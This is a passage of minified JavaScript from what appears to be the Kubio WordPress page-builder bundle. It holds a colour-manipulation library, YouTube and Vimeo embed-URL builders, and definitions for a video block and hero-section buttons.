if("transparent"==e)return{r:0,g:0,b:0,a:0,format:"name"};return(t=ql.rgb.exec(e))?{r:t[1],g:t[2],b:t[3]}:(t=ql.rgba.exec(e))?{r:t[1],g:t[2],b:t[3],a:t[4]}:(t=ql.hsl.exec(e))?{h:t[1],s:t[2],l:t[3]}:(t=ql.hsla.exec(e))?{h:t[1],s:t[2],l:t[3],a:t[4]}:(t=ql.hsv.exec(e))?{h:t[1],s:t[2],v:t[3]}:(t=ql.hsva.exec(e))?{h:t[1],s:t[2],v:t[3],a:t[4]}:(t=ql.hex8.exec(e))?{r:Gl(t[1]),g:Gl(t[2]),b:Gl(t[3]),a:Vl(t[4]),format:o?"name":"hex8"}:(t=ql.hex6.exec(e))?{r:Gl(t[1]),g:Gl(t[2]),b:Gl(t[3]),format:o?"name":"hex"}:(t=ql.hex4.exec(e))?{r:Gl(t[1]+""+t[1]),g:Gl(t[2]+""+t[2]),b:Gl(t[3]+""+t[3]),a:Vl(t[4]+""+t[4]),format:o?"name":"hex8"}:!!(t=ql.hex3.exec(e))&&{r:Gl(t[1]+""+t[1]),g:Gl(t[2]+""+t[2]),b:Gl(t[3]+""+t[3]),format:o?"name":"hex"}}(e)),"object"==gl(e)&&(Xl(e.r)&&Xl(e.g)&&Xl(e.b)?(t=e.r,o=e.g,n=e.b,a={r:255*Wl(t,255),g:255*Wl(o,255),b:255*Wl(n,255)},u=!0,c="%"===String(e.r).substr(-1)?"prgb":"rgb"):Xl(e.h)&&Xl(e.s)&&Xl(e.v)?(r=Fl(e.s),s=Fl(e.v),a=function(e,t,o){e=6*Wl(e,360),t=Wl(t,100),o=Wl(o,100);var n=Math.floor(e),a=e-n,i=o*(1-t),r=o*(1-a*t),s=o*(1-(1-a)*t),l=n%6;return{r:255*[o,r,i,i,s,o][l],g:255*[s,o,o,r,i,i][l],b:255*[i,i,s,o,o,r][l]}}(e.h,r,s),u=!0,c="hsv"):Xl(e.h)&&Xl(e.s)&&Xl(e.l)&&(r=Fl(e.s),l=Fl(e.l),a=function(e,t,o){var n,a,i;function r(e,t,o){return o<0&&(o+=1),o>1&&(o-=1),o<1/6?e+6*(t-e)*o:o<.5?t:o<2/3?e+(t-e)*(2/3-o)*6:e}if(e=Wl(e,360),t=Wl(t,100),o=Wl(o,100),0===t)n=a=i=o;else{var s=o<.5?o*(1+t):o+t-o*t,l=2*o-s;n=r(l,s,e+1/3),a=r(l,s,e),i=r(l,s,e-1/3)}return{r:255*n,g:255*a,b:255*i}}(e.h,r,l),u=!0,c="hsl"),e.hasOwnProperty("a")&&(i=e.a)),i=Ml(i),{ok:u,format:e.format||c,r:Math.min(255,Math.max(a.r,0)),g:Math.min(255,Math.max(a.g,0)),b:Math.min(255,Math.max(a.b,0)),a:i}}(e);this._originalInput=e,this._r=o.r,this._g=o.g,this._b=o.b,this._a=o.a,this._roundA=Math.round(100*this._a)/100,this._format=t.format||o.format,this._gradientType=t.gradientType,this._r<1&&(this._r=Math.round(this._r)),this._g<1&&(this._g=Math.round(this._g)),this._b<1&&(this._b=Math.round(this._b)),this._ok=o.ok}function _l(e,t,o){e=Wl(e,255),t=Wl(t,255),o=Wl(o,255);var n,a,i=Math.max(e,t,o),r=Math.min(e,t,o),s=(i+r)/2;if(i==r)n=a=0;else{var l=i-r;switch(a=s>.5?l/(2-i-r):l/(i+r),i){case e:n=(t-o)/l+(t<o?6:0);break;case t:n=(o-e)/l+2;break;case o:n=(e-t)/l+4}n/=6}return{h:n,s:a,l:s}}function vl(e,t,o){e=Wl(e,255),t=Wl(t,255),o=Wl(o,255);var n,a,i=Math.max(e,t,o),r=Math.min(e,t,o),s=i,l=i-r;if(a=0===i?0:l/i,i==r)n=0;else{switch(i){case e:n=(t-o)/l+(t<o?6:0);break;case t:n=(o-e)/l+2;break;case o:n=(e-t)/l+4}n/=6}return{h:n,s:a,v:s}}function xl(e,t,o,n){var a=[Ul(Math.round(e).toString(16)),Ul(Math.round(t).toString(16)),Ul(Math.round(o).toString(16))];return n&&a[0].charAt(0)==a[0].charAt(1)&&a[1].charAt(0)==a[1].charAt(1)&&a[2].charAt(0)==a[2].charAt(1)?a[0].charAt(0)+a[1].charAt(0)+a[2].charAt(0):a.join("")}function Cl(e,t,o,n){return[Ul(zl(n)),Ul(Math.round(e).toString(16)),Ul(Math.round(t).toString(16)),Ul(Math.round(o).toString(16))].join("")}function Il(e,t){t=0===t?0:t||10;var o=fl(e).toHsl();return o.s-=t/100,o.s=Hl(o.s),fl(o)}function El(e,t){t=0===t?0:t||10;var o=fl(e).toHsl();return o.s+=t/100,o.s=Hl(o.s),fl(o)}function Tl(e){return fl(e).desaturate(100)}function Sl(e,t){t=0===t?0:t||10;var o=fl(e).toHsl();return o.l+=t/100,o.l=Hl(o.l),fl(o)}function wl(e,t){t=0===t?0:t||10;var o=fl(e).toRgb();return o.r=Math.max(0,Math.min(255,o.r-Math.round(-t/100*255))),o.g=Math.max(0,Math.min(255,o.g-Math.round(-t/100*255))),o.b=Math.max(0,Math.min(255,o.b-Math.round(-t/100*255))),fl(o)}function Pl(e,t){t=0===t?0:t||10;var o=fl(e).toHsl();return o.l-=t/100,o.l=Hl(o.l),fl(o)}function Al(e,t){var o=fl(e).toHsl(),n=(o.h+t)%360;return o.h=n<0?360+n:n,fl(o)}function jl(e){var t=fl(e).toHsl();return t.h=(t.h+180)%360,fl(t)}function Bl(e,t){if(isNaN(t)||t<=0)throw new Error("Argument to polyad must be a positive number");for(var o=fl(e).toHsl(),n=[fl(e)],a=360/t,i=1;i<t;i++)n.push(fl({h:(o.h+i*a)%360,s:o.s,l:o.l}));return n}function Nl(e){var t=fl(e).toHsl(),o=t.h;return[fl(e),fl({h:(o+72)%360,s:t.s,l:t.l}),fl({h:(o+216)%360,s:t.s,l:t.l})]}function Ol(e,t,o){t=t||6,o=o||30;var n=fl(e).toHsl(),a=360/o,i=[fl(e)];for(n.h=(n.h-(a*t>>1)+720)%360;--t;)n.h=(n.h+a)%360,i.push(fl(n));return i}function Rl(e,t){t=t||6;for(var o=fl(e).toHsv(),n=o.h,a=o.s,i=o.v,r=[],s=1/t;t--;)r.push(fl({h:n,s:a,v:i})),i=(i+s)%1;return r}fl.prototype={isDark:function(){return this.getBrightness()<128},isLight:function(){return!this.isDark()},isValid:function(){return this._ok},getOriginalInput:function(){return this._originalInput},getFormat:function(){return this._format},getAlpha:function(){return this._a},getBrightness:function(){var e=this.toRgb();return(299*e.r+587*e.g+114*e.b)/1e3},getLuminance:function(){var e,t,o,n=this.toRgb();return e=n.r/255,t=n.g/255,o=n.b/255,.2126*(e<=.03928?e/12.92:Math.pow((e+.055)/1.055,2.4))+.7152*(t<=.03928?t/12.92:Math.pow((t+.055)/1.055,2.4))+.0722*(o<=.03928?o/12.92:Math.pow((o+.055)/1.055,2.4))},setAlpha:function(e){return this._a=Ml(e),this._roundA=Math.round(100*this._a)/100,this},toHsv:function(){var e=vl(this._r,this._g,this._b);return{h:360*e.h,s:e.s,v:e.v,a:this._a}},toHsvString:function(){var e=vl(this._r,this._g,this._b),t=Math.round(360*e.h),o=Math.round(100*e.s),n=Math.round(100*e.v);return 1==this._a?"hsv("+t+", "+o+"%, "+n+"%)":"hsva("+t+", "+o+"%, "+n+"%, "+this._roundA+")"},toHsl:function(){var e=_l(this._r,this._g,this._b);return{h:360*e.h,s:e.s,l:e.l,a:this._a}},toHslString:function(){var e=_l(this._r,this._g,this._b),t=Math.round(360*e.h),o=Math.round(100*e.s),n=Math.round(100*e.l);return 1==this._a?"hsl("+t+", "+o+"%, "+n+"%)":"hsla("+t+", "+o+"%, "+n+"%, "+this._roundA+")"},toHex:function(e){return xl(this._r,this._g,this._b,e)},toHexString:function(e){return"#"+this.toHex(e)},toHex8:function(e){return function(e,t,o,n,a){var i=[Ul(Math.round(e).toString(16)),Ul(Math.round(t).toString(16)),Ul(Math.round(o).toString(16)),Ul(zl(n))];return a&&i[0].charAt(0)==i[0].charAt(1)&&i[1].charAt(0)==i[1].charAt(1)&&i[2].charAt(0)==i[2].charAt(1)&&i[3].charAt(0)==i[3].charAt(1)?i[0].charAt(0)+i[1].charAt(0)+i[2].charAt(0)+i[3].charAt(0):i.join("")}(this._r,this._g,this._b,this._a,e)},toHex8String:function(e){return"#"+this.toHex8(e)},toRgb:function(){return{r:Math.round(this._r),g:Math.round(this._g),b:Math.round(this._b),a:this._a}},toRgbString:function(){return 1==this._a?"rgb("+Math.round(this._r)+", "+Math.round(this._g)+", "+Math.round(this._b)+")":"rgba("+Math.round(this._r)+", "+Math.round(this._g)+", "+Math.round(this._b)+", "+this._roundA+")"},toPercentageRgb:function(){return{r:Math.round(100*Wl(this._r,255))+"%",g:Math.round(100*Wl(this._g,255))+"%",b:Math.round(100*Wl(this._b,255))+"%",a:this._a}},toPercentageRgbString:function(){return 1==this._a?"rgb("+Math.round(100*Wl(this._r,255))+"%, "+Math.round(100*Wl(this._g,255))+"%, "+Math.round(100*Wl(this._b,255))+"%)":"rgba("+Math.round(100*Wl(this._r,255))+"%, "+Math.round(100*Wl(this._g,255))+"%, "+Math.round(100*Wl(this._b,255))+"%, "+this._roundA+")"},toName:function(){return 0===this._a?"transparent":!(this._a<1)&&(Ll[xl(this._r,this._g,this._b,!0)]||!1)},toFilter:function(e){var t="#"+Cl(this._r,this._g,this._b,this._a),o=t,n=this._gradientType?"GradientType = 1, ":"";if(e){var a=fl(e);o="#"+Cl(a._r,a._g,a._b,a._a)}return"progid:DXImageTransform.Microsoft.gradient("+n+"startColorstr="+t+",endColorstr="+o+")"},toString:function(e){var t=!!e;e=e||this._format;var o=!1,n=this._a<1&&this._a>=0;return t||!n||"hex"!==e&&"hex6"!==e&&"hex3"!==e&&"hex4"!==e&&"hex8"!==e&&"name"!==e?("rgb"===e&&(o=this.toRgbString()),"prgb"===e&&(o=this.toPercentageRgbString()),"hex"!==e&&"hex6"!==e||(o=this.toHexString()),"hex3"===e&&(o=this.toHexString(!0)),"hex4"===e&&(o=this.toHex8String(!0)),"hex8"===e&&(o=this.toHex8String()),"name"===e&&(o=this.toName()),"hsl"===e&&(o=this.toHslString()),"hsv"===e&&(o=this.toHsvString()),o||this.toHexString()):"name"===e&&0===this._a?this.toName():this.toRgbString()},clone:function(){return fl(this.toString())},_applyModification:function(e,t){var o=e.apply(null,[this].concat([].slice.call(t)));return this._r=o._r,this._g=o._g,this._b=o._b,this.setAlpha(o._a),this},lighten:function(){return this._applyModification(Sl,arguments)},brighten:function(){return this._applyModification(wl,arguments)},darken:function(){return this._applyModification(Pl,arguments)},desaturate:function(){return this._applyModification(Il,arguments)},saturate:function(){return this._applyModification(El,arguments)},greyscale:function(){return this._applyModification(Tl,arguments)},spin:function(){return this._applyModification(Al,arguments)},_applyCombination:function(e,t){return e.apply(null,[this].concat([].slice.call(t)))},analogous:function(){return this._applyCombination(Ol,arguments)},complement:function(){return this._applyCombination(jl,arguments)},monochromatic:function(){return this._applyCombination(Rl,arguments)},splitcomplement:function(){return this._applyCombination(Nl,arguments)},triad:function(){return this._applyCombination(Bl,[3])},tetrad:function(){return this._applyCombination(Bl,[4])}},fl.fromRatio=function(e,t){if("object"==gl(e)){var o={};for(var n in e)e.hasOwnProperty(n)&&(o[n]="a"===n?e[n]:Fl(e[n]));e=o}return fl(e,t)},fl.equals=function(e,t){return!(!e||!t)&&fl(e).toRgbString()==fl(t).toRgbString()},fl.random=function(){return fl.fromRatio({r:Math.random(),g:Math.random(),b:Math.random()})},fl.mix=function(e,t,o){o=0===o?0:o||50;var n=fl(e).toRgb(),a=fl(t).toRgb(),i=o/100;return fl({r:(a.r-n.r)*i+n.r,g:(a.g-n.g)*i+n.g,b:(a.b-n.b)*i+n.b,a:(a.a-n.a)*i+n.a})},fl.readability=function(e,t){var o=fl(e),n=fl(t);return(Math.max(o.getLuminance(),n.getLuminance())+.05)/(Math.min(o.getLuminance(),n.getLuminance())+.05)},fl.isReadable=function(e,t,o){var n,a,i,r,s,l=fl.readability(e,t);switch(a=!1,(i=o,"AA"!==(r=((i=i||{level:"AA",size:"small"}).level||"AA").toUpperCase())&&"AAA"!==r&&(r="AA"),"small"!==(s=(i.size||"small").toLowerCase())&&"large"!==s&&(s="small"),n={level:r,size:s}).level+n.size){case"AAsmall":case"AAAlarge":a=l>=4.5;break;case"AAlarge":a=l>=3;break;case"AAAsmall":a=l>=7}return a},fl.mostReadable=function(e,t,o){var n,a,i,r,s=null,l=0;a=(o=o||{}).includeFallbackColors,i=o.level,r=o.size;for(var u=0;u<t.length;u++)(n=fl.readability(e,t[u]))>l&&(l=n,s=fl(t[u]));return fl.isReadable(e,s,{level:i,size:r})||!a?s:(o.includeFallbackColors=!1,fl.mostReadable(e,["#fff","#000"],o))};var Dl=fl.names={aliceblue:"f0f8ff",antiquewhite:"faebd7",aqua:"0ff",aquamarine:"7fffd4",azure:"f0ffff",beige:"f5f5dc",bisque:"ffe4c4",black:"000",blanchedalmond:"ffebcd",blue:"00f",blueviolet:"8a2be2",brown:"a52a2a",burlywood:"deb887",burntsienna:"ea7e5d",cadetblue:"5f9ea0",chartreuse:"7fff00",chocolate:"d2691e",coral:"ff7f50",cornflowerblue:"6495ed",cornsilk:"fff8dc",crimson:"dc143c",cyan:"0ff",darkblue:"00008b",darkcyan:"008b8b",darkgoldenrod:"b8860b",darkgray:"a9a9a9",darkgreen:"006400",darkgrey:"a9a9a9",darkkhaki:"bdb76b",darkmagenta:"8b008b",darkolivegreen:"556b2f",darkorange:"ff8c00",darkorchid:"9932cc",darkred:"8b0000",darksalmon:"e9967a",darkseagreen:"8fbc8f",darkslateblue:"483d8b",darkslategray:"2f4f4f",darkslategrey:"2f4f4f",darkturquoise:"00ced1",darkviolet:"9400d3",deeppink:"ff1493",deepskyblue:"00bfff",dimgray:"696969",dimgrey:"696969",dodgerblue:"1e90ff",firebrick:"b22222",floralwhite:"fffaf0",forestgreen:"228b22",fuchsia:"f0f",gainsboro:"dcdcdc",ghostwhite:"f8f8ff",gold:"ffd700",goldenrod:"daa520",gray:"808080",green:"008000",greenyellow:"adff2f",grey:"808080",honeydew:"f0fff0",hotpink:"ff69b4",indianred:"cd5c5c",indigo:"4b0082",ivory:"fffff0",khaki:"f0e68c",lavender:"e6e6fa",lavenderblush:"fff0f5",lawngreen:"7cfc00",lemonchiffon:"fffacd",lightblue:"add8e6",lightcoral:"f08080",lightcyan:"e0ffff",lightgoldenrodyellow:"fafad2",lightgray:"d3d3d3",lightgreen:"90ee90",lightgrey:"d3d3d3",lightpink:"ffb6c1",lightsalmon:"ffa07a",lightseagreen:"20b2aa",lightskyblue:"87cefa",lightslategray:"789",lightslategrey:"789",lightsteelblue:"b0c4de",lightyellow:"ffffe0",lime:"0f0",limegreen:"32cd32",linen:"faf0e6",magenta:"f0f",maroon:"800000",mediumaquamarine:"66cdaa",mediumblue:"0000cd",mediumorchid:"ba55d3",mediumpurple:"9370db",mediumseagreen:"3cb371",mediumslateblue:"7b68ee",mediumspringgreen:"00fa9a",mediumturquoise:"48d1cc",mediumvioletred:"c71585",midnightblue:"191970",mintcream:"f5fffa",mistyrose:"ffe4e1",moccasin:"ffe4b5",navajowhite:"ffdead",navy:"000080",oldlace:"fdf5e6",olive:"808000",olivedrab:"6b8e23",orange:"ffa500",orangered:"ff4500",orchid:"da70d6",palegoldenrod:"eee8aa",palegreen:"98fb98",paleturquoise:"afeeee",palevioletred:"db7093",papayawhip:"ffefd5",peachpuff:"ffdab9",peru:"cd853f",pink:"ffc0cb",plum:"dda0dd",powderblue:"b0e0e6",purple:"800080",rebeccapurple:"663399",red:"f00",rosybrown:"bc8f8f",royalblue:"4169e1",saddlebrown:"8b4513",salmon:"fa8072",sandybrown:"f4a460",seagreen:"2e8b57",seashell:"fff5ee",sienna:"a0522d",silver:"c0c0c0",skyblue:"87ceeb",slateblue:"6a5acd",slategray:"708090",slategrey:"708090",snow:"fffafa",springgreen:"00ff7f",steelblue:"4682b4",tan:"d2b48c",teal:"008080",thistle:"d8bfd8",tomato:"ff6347",turquoise:"40e0d0",violet:"ee82ee",wheat:"f5deb3",white:"fff",whitesmoke:"f5f5f5",yellow:"ff0",yellowgreen:"9acd32"},Ll=fl.hexNames=function(e){var t={};for(var o in e)e.hasOwnProperty(o)&&(t[e[o]]=o);return t}(Dl);function Ml(e){return e=parseFloat(e),(isNaN(e)||e<0||e>1)&&(e=1),e}function Wl(e,t){(function(e){return"string"==typeof e&&-1!=e.indexOf(".")&&1===parseFloat(e)})(e)&&(e="100%");var o=function(e){return"string"==typeof e&&-1!=e.indexOf("%")}(e);return e=Math.min(t,Math.max(0,parseFloat(e))),o&&(e=parseInt(e*t,10)/100),Math.abs(e-t)<1e-6?1:e%t/parseFloat(t)}function Hl(e){return Math.min(1,Math.max(0,e))}function Gl(e){return parseInt(e,16)}function Ul(e){return 1==e.length?"0"+e:""+e}function Fl(e){return e<=1&&(e=100*e+"%"),e}function zl(e){return Math.round(255*parseFloat(e)).toString(16)}function Vl(e){return Gl(e)/255}var Yl,$l,Kl,ql=($l="[\\s|\\(]+("+(Yl="(?:[-\\+]?\\d*\\.\\d+%?)|(?:[-\\+]?\\d+%?)")+")[,|\\s]+("+Yl+")[,|\\s]+("+Yl+")\\s*\\)?",Kl="[\\s|\\(]+("+Yl+")[,|\\s]+("+Yl+")[,|\\s]+("+Yl+")[,|\\s]+("+Yl+")\\s*\\)?",{CSS_UNIT:new RegExp(Yl),rgb:new RegExp("rgb"+$l),rgba:new RegExp("rgba"+Kl),hsl:new RegExp("hsl"+$l),hsla:new RegExp("hsla"+Kl),hsv:new RegExp("hsv"+$l),hsva:new RegExp("hsva"+Kl),hex3:/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex6:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/,hex4:/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex8:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/});function Xl(e){return!!ql.CSS_UNIT.exec(e)}const Ql=e=>{const t=[];return je().each(e,((e,o)=>{"boolean"==typeof e&&(e=e?1:0),t.push(`${o}=${e}`)})),t},Zl=e=>{const{videoCategory:t}=e;switch(t){case"internal":return(({internalUrl:e,playerOptions:t={}})=>{let{startTime:o,endTime:n}=t;o=o||0,n=n||0;let a="";return o&&n||0===o&&n?a=`#t=${o},${n}`:o&&!n&&(a=`#t=${o}`),`${e}${a}`})(e);case"youtube":return(({youtubeUrl:e="",playerOptions:t,displayAsPosterImage:o})=>{const{startTime:n,endTime:a,mute:i,loop:r,playerControls:s,modestBranding:l,suggestedVideo:u,privacyMode:c}=t;let p=e;if(!p)return p;const d=p.match(/(?:youtube\.com\/(?:[^\/]+\/.+\/|(?:v|e(?:mbed)?)\/|.*[?&]v=)|youtu\.be\/)([^"&?\/ ]{11})/i);if(!d)return p;const m=d[1];p=`https://www.youtube.com/embed/${m}?`;const h={start:n,end:a,autoPlay:!1,mute:i,loop:o&&r,controls:s,modestBranding:l,rel:u,enablejsapi:!0},b=Ql(h);return h.loop&&b.push(`playlist=${m}`),c&&(p=p.replace("youtube","youtube-nocookie")),p+=b.join("&"),p})(e);case"vimeo":return(({vimeoUrl:e="",playerOptions:t,displayAsPosterImage:o})=>{const{startTime:n,mute:a,loop:i,introTitle:r,introPortrait:s,introByLine:l,controlsColor:u}=t;let c=e;const p=c.match(/(?:www\.|player\.)?vimeo.com\/(?:channels\/(?:\w+\/)?|groups\/(?:[^\/]*)\/videos\/|album\/(?:\d+)\/video\/|video\/|)(\d+)(?:[a-zA-Z0-9_\-]+)?/i);if(!p)return c;c=`https://player.vimeo.com/video/${p[1]}?`;const d={autoplay:!1,autopause:!1,muted:a,loop:o&&i,title:r,portrait:s,byline:l,color:u?fl(u).toHex():"",api:!0};return c+=Ql(d).join("&"),n&&(c+=`#t=${(e=>{let t=new Date(1e3*e).toISOString().substr(14,5);return t+="s",t.replace(":","m")})(n)}`),c})(e)}},Jl=({playerOptions:e,displayAsPosterImage:t}={})=>({autoPlay:!1,muted:null==e?void 0:e.mute,loop:null==e?void 0:e.loop,controls:null==e?void 0:e.playerControls}),eu=(0,Ne.composeBlockWithStyle)(hn.BUTTON),tu=[hn.ICON,hn.BUTTON,hn.BUTTON_GROUP],ou=[eu],nu=(0,De.compose)((0,Ne.withColibriDataAutoSave)(((e,t)=>{const o=e.getAttribute("aspectRatio");let n=e.getAttributes(["internalUrl","youtubeUrl","vimeoUrl","videoCategory","displayAs","playerOptions"]);const{displayAs:a,videoCategory:i}=n,r=Qs.videoDisplayAs.values,s=a===r.VIDEO,l=a===r.POSTER_IMAGE,u=a===r.ICON_WITH_LIGHTBOX,c=i===Qs.videoCategory.values.INTERNAL;n=Object.assign({},n,{displayAsVideo:s,displayAsPosterImage:l,displayAsLightbox:u,isInternal:c});const p=Zl(n),d=(0,Le.useSelect)((e=>e("core/block-editor").getSelectedBlockClientId())),m=e.withChildren().map((e=>null==e?void 0:e.clientId)).includes(d);return{displayAsVideo:s,displayAsPosterImage:l,displayAsLightbox:u,url:p,isInternal:c,aspectRatio:o,posterImage:e.getAttribute("posterImage"),attributes:Jl(n),childIsSelected:m}})),(0,Ne.withStyledElements)((({computed:e}={})=>{const{posterImage:t}=e;return{[ul]:{className:()=>{const{aspectRatio:t,displayAsLightbox:o}=e,n=[];return o||n.push(`h-aspect-ratio--${t}`),n}},[pl]:{className:()=>{const e=null==t?void 0:t.sizeSlug;return{[`size-${e}`]:e}},style:{backgroundImage:`url('${null==t?void 0:t.url}')`}}}}),(({computed:e})=>({[cl]:{className:()=>["h-pointer-event-none"]}}))),(0,Ne.withCallbackOnEmptyInnerBlocks)(((e,{dataHelper:t})=>{const{selectBlock:o}=e;t.setAttribute("displayAs","video"),o(null==t?void 0:t.clientId)}))),au=nu((e=>{const{computed:t,StyledElements:o}=e,{isInternal:n,displayAsPosterImage:a,displayAsLightbox:i,url:r,attributes:s,childIsSelected:l,posterImage:u}=t,[,c]=(0,Oe.useCurrentInspectorTab)(),{debouncedShowOverlay:p}=Ue({scrollInView:!0}),{openSidebar:d=je().noop}=(0,Le.useDispatch)(Be.STORE_KEY)||{},m=l?Me.Fragment:Re.Disabled,h=(0,Me.useCallback)((e=>{const t=e.target.closest(".block-editor-block-list__block").dataset.kubio;"kubio/icon"!==t&&"kubio/button"!==t||(d("block-inspector"),c("content"),p(".video-options-customize-play__container"))}),[]),b=bn({onClick:h},{renderAppender:!1,templateLock:!1,orientation:"horizontal",allowedBlocks:tu,template:ou}),g=(0,Ne.useBlockElementProps)(cl);return(0,Je.jsxs)(o.Outer,{children:[(0,Je.jsxs)(m,{children:[a&&(0,Je.jsx)(o.Poster,{...b}),i&&(0,Je.jsx)(o.Lightbox,{...b})]}),!i&&(n?(0,Je.jsx)("div",{...g,children:(0,Je.jsx)("video",{className:"h-video-main",...s,src:r,poster:u.url})}):(0,Je.jsx)("div",{...g,children:(0,Je.jsx)("iframe",{src:r,className:"h-video-main"})}))]})})),iu=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ll,{}),(0,Je.jsx)(bl,{}),(0,Je.jsx)(au,{...e})]})})),ru={name:"kubio/video",category:"kubio-basic",attributes:{kubio:{type:"object"},displayAs:{type:"string",default:"video"},videoCategory:{type:"string",default:"internal"},internalUrl:{type:"string",default:""},youtubeUrl:{type:"string",default:"https://www.youtube.com/watch?v=IshAk6Mwlj4&ab_channel=Kubio"},vimeoUrl:{type:"string",default:"https://vimeo.com/655007132"},aspectRatio:{type:"string",default:"16-9"},playerOptions:{type:"object",default:{startTime:"",endTime:"",autoplay:!1,mute:!1,loop:!1,playerControls:!0,modestBranding:!1,suggestedVideo:!1,privacyMode:!1,controlsColor:"",introTitle:!0,introPortrait:!0,introByLine:!0}},posterImage:{type:"object",default:{id:"",url:"",dimension:"auto",lightbox:!1,playAction:"icon",sizeSlug:""}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,assetsURLImporterMap:{internalUrl:{assetIdToAttr:"id",subpath:!1},"posterImage.url":{assetIdToAttr:"posterImage.id",subpath:!1}},default:{style:{descendants:{poster:{background:{type:"image",image:[{source:{type:"image",url:""}}]}}}},props:{}},elementsEnum:{OUTER:"outer",VIDEO:"video",POSTER:"poster",LIGHTBOX:"lightbox"},elementsByName:{outer:{wrapper:!0,default:!0},poster:{},video:{},lightbox:{}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"poster",shouldRender:"computed.displayAsPoster"},children:[{type:"wp:InnerBlocks"}]},{type:"element",props:{name:"lightbox",shouldRender:"computed.displayAsIconWithLightbox"},children:[{type:"wp:InnerBlocks"}]},{type:"element",props:{name:"video"}}]}}}},su=je().cloneDeep(ru);je().set(su,"attributes.internalUrl.default","https://static-assets.kubiobuilder.com/defaults/kubio-intro-video.mp4");const lu=(0,Sn.extendBlockMeta)(su,{title:(0,We.__)("Video","kubio"),description:(0,We.__)("Add self-hosted, Youtube, or Vimeo videos. Adjust their background, spacing, aspect ratios, and shadows.","kubio"),icon:Tn.BlockIcons.Video,keywords:[(0,We.__)("movie","kubio"),(0,We.__)("video","kubio"),(0,We.__)("vimeo","kubio"),(0,We.__)("youtube","kubio")],apiVersion:2,supports:{kubio:{elementsByName:ml},reusable:!1,html:!1},edit:iu,save:function(){return(0,Je.jsx)(st.InnerBlocks.Content,{})}}),uu="text",cu="media",pu="internal.heroSection.type",du=je().merge({},$n.EDIT_LAYOUT,{label:(0,We.__)("Change hero layout","kubio")}),mu=je().merge({},$n.SELECT_BLOCK,{label:(0,We.__)("Hero settings","kubio")}),hu=[[$n.CHANGE_IMAGE_VIDEO,$n.CHANGE_BACKGROUND,du],[mu]],bu={radius:{left:{value:"56",unit:"px"},right:{value:"56",unit:"px"}}},gu={border:{top:bu,bottom:bu},typography:{size:{unit:"px",value:14}}},yu="link",ku="icon",fu="text",_u={["outer"]:{internal:!0,supports:{styles:[...jn.StylesPresetsEnum.ALL],states:jn.StatesPresetsEnum.NONE}},[yu]:{label:(0,We.__)("Link","kubio"),supports:{styles:[jn.StylesEnum.TRANSITION,jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY,jn.StylesEnum.MISC],states:jn.StatesPresetsEnum.LINK,filters:{typography:{getDynamicProps:(e,t)=>({nodeType:"a"})}}}},[fu]:{internal:!0},[ku]:{label:(0,We.__)("Icon","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.LINK}}},vu="outer",xu="link",Cu="icon",Iu=(0,Ze.mergeNoArrays)({},_u,{[xu]:{label:(0,We.__)("Button","kubio"),supports:{states:jn.StatesPresetsEnum.BUTTON,styles:[jn.StylesEnum.TRANSITION,jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY,jn.StylesEnum.MISC]}},[Cu]:{label:(0,We.__)("Icon","kubio"),supports:{states:jn.StatesPresetsEnum.BUTTON}}});var Eu=o(4670),Tu=o.n(Eu);const Su=je().merge({},gu,{}),wu=e=>()=>{const t=(0,Ne.getBlockDefaultVariation)(hn.BUTTON)||{},{attributes:o={},innerBlocks:n=[]}=t,{style:a,props:i,_props:r,_style:s,attributes:l}=e,u={...l,kubio:{style:a,props:i,_props:r,_style:s}},c=je().merge({},{attributes:o},{attributes:u});return(0,Ne.composeBlockWithStyle)(hn.BUTTON,c,n)},Pu=wu({attributes:{text:(0,We.__)("Action button 1","kubio")},style:{descendants:{[xu]:Su}}}),Au={color:"white",style:"solid",width:{value:2,unit:"px"}},ju={background:{color:"transparent"},border:{top:Au,right:Au,bottom:Au,left:Au},states:{hover:{border:{top:{color:"rgba(255, 255, 255, 1)"},right:{color:"rgba(255, 255, 255, 1)"},bottom:{color:"rgba(255, 255, 255, 1)"},left:{color:"rgba(255, 255, 255, 1)"}},background:{color:"rgba(255, 255, 255, 0.25)"}}}},Bu={text:(0,We.__)("Action button 2","kubio")},Nu=je().merge({},gu,ju),Ou=wu({attributes:Bu,style:{descendants:{[xu]:Nu}}}),Ru={content:(0,We.__)("And the subtitle is better.","kubio")},Du=(0,Ne.composeBlockWithStyle)(hn.TEXT,{props:{type:"lead"},attributes:Ru}),Lu={content:(0,We.__)("Your awesome site title goes here.","kubio"),kubio:{props:{level:1}}},Mu=[(0,Ne.composeBlockWithStyle)(hn.HEADING,{props:{},attributes:Lu}),Du,()=>{const e=(0,Ne.getBlockDefaultVariation)(hn.BUTTON_GROUP)||{},{attributes:t={}}=e,o=[Pu(),Ou()];return(0,Ne.composeBlockWithStyle)(hn.BUTTON_GROUP,{attributes:t},o)}],Wu={};je().set(Wu,pu,uu);const 